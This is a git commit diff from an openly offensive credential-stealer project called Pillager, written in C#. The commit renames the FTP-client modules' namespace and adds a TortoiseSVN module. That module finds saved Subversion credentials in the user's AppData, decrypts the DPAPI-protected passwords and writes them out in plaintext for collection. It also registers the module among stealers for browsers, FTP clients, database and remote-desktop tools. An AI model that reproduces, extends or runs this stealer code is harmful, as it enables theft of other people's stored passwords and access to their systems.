update
This commit is contained in:
parent
af6ca9f8ea
commit
033f4cf258
|
@ -9,7 +9,7 @@ using System.Security.Cryptography;
|
|||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.FTP
|
||||
namespace Pillager.FTPs
|
||||
{
|
||||
internal class CoreFTP
|
||||
{
|
|
@ -1,7 +1,7 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Pillager.FTP
|
||||
namespace Pillager.FTPs
|
||||
{
|
||||
internal class FileZilla
|
||||
{
|
|
@ -5,7 +5,7 @@ using System.Linq;
|
|||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.FTP
|
||||
namespace Pillager.FTPs
|
||||
{
|
||||
internal class Snowflake
|
||||
{
|
|
@ -2,7 +2,7 @@
|
|||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Pillager.FTP
|
||||
namespace Pillager.FTPs
|
||||
{
|
||||
internal class WinSCP
|
||||
{
|
|
@ -45,10 +45,10 @@
|
|||
<Compile Include="Browsers\FireFox.cs" />
|
||||
<Compile Include="Browsers\IE.cs" />
|
||||
<Compile Include="Browsers\OldSogou.cs" />
|
||||
<Compile Include="FTP\CoreFTP.cs" />
|
||||
<Compile Include="FTP\FileZilla.cs" />
|
||||
<Compile Include="FTP\Snowflake.cs" />
|
||||
<Compile Include="FTP\WinSCP.cs" />
|
||||
<Compile Include="FTPs\CoreFTP.cs" />
|
||||
<Compile Include="FTPs\FileZilla.cs" />
|
||||
<Compile Include="FTPs\Snowflake.cs" />
|
||||
<Compile Include="FTPs\WinSCP.cs" />
|
||||
<Compile Include="Helper\AesGcm.cs" />
|
||||
<Compile Include="Helper\Asn1Der.cs" />
|
||||
<Compile Include="Browsers\Chrome.cs" />
|
||||
|
@ -89,6 +89,7 @@
|
|||
<Compile Include="Tools\RDCMan.cs" />
|
||||
<Compile Include="Tools\SQLyog.cs" />
|
||||
<Compile Include="Softwares\VSCode.cs" />
|
||||
<Compile Include="Tools\TortoiseSVN.cs" />
|
||||
<Compile Include="Tools\Xmanager.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
using System.IO;
|
||||
using Pillager.Browsers;
|
||||
using Pillager.FTP;
|
||||
using Pillager.FTPs;
|
||||
using Pillager.Helper;
|
||||
using Pillager.Mails;
|
||||
using Pillager.Messengers;
|
||||
|
@ -44,6 +44,7 @@ namespace Pillager
|
|||
FinalShell.Save(savepath);
|
||||
SQLyog.Save(savepath);
|
||||
DBeaver.Save(savepath);
|
||||
TortoiseSVN.Save(savepath);
|
||||
|
||||
//Softwares
|
||||
VSCode.Save(savepath);
|
||||
|
|
|
@ -0,0 +1,61 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.Tools
|
||||
{
|
||||
internal class TortoiseSVN
|
||||
{
|
||||
public static string ToolName = "TortoiseSVN";
|
||||
|
||||
public static string Decrypt(string input)
|
||||
{
|
||||
try
|
||||
{
|
||||
return Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(input), null,
|
||||
DataProtectionScope.CurrentUser));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return input;
|
||||
}
|
||||
}
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Subversion\\auth\\svn.simple");
|
||||
if (!Directory.Exists(folder)) return;
|
||||
string[] files = Directory.GetFiles(folder, new String('?', 32));
|
||||
if (files.Length == 0) return;
|
||||
string savepath = Path.Combine(path, ToolName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
foreach (string file in files)
|
||||
{
|
||||
string[] lines = File.ReadAllLines(file);
|
||||
bool encrypted = false;
|
||||
for (int i = 0; i < lines.Length; i++)
|
||||
{
|
||||
if (lines[i] == "passtype" && i > 1 && lines[i - 1].StartsWith("K ") && i + 2 < lines.Length && lines[i + 2] == "wincrypt")
|
||||
{
|
||||
encrypted = true;
|
||||
}
|
||||
}
|
||||
for (int i = 0; i < lines.Length; i++)
|
||||
{
|
||||
if (lines[i] == "password" && i > 1 && lines[i - 1].StartsWith("K ") && i + 2 < lines.Length && encrypted)
|
||||
{
|
||||
lines[i + 2] = Decrypt(lines[i + 2]);
|
||||
}
|
||||
}
|
||||
File.WriteAllLines(Path.Combine(savepath, "svn.simple.decrypted"), lines);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue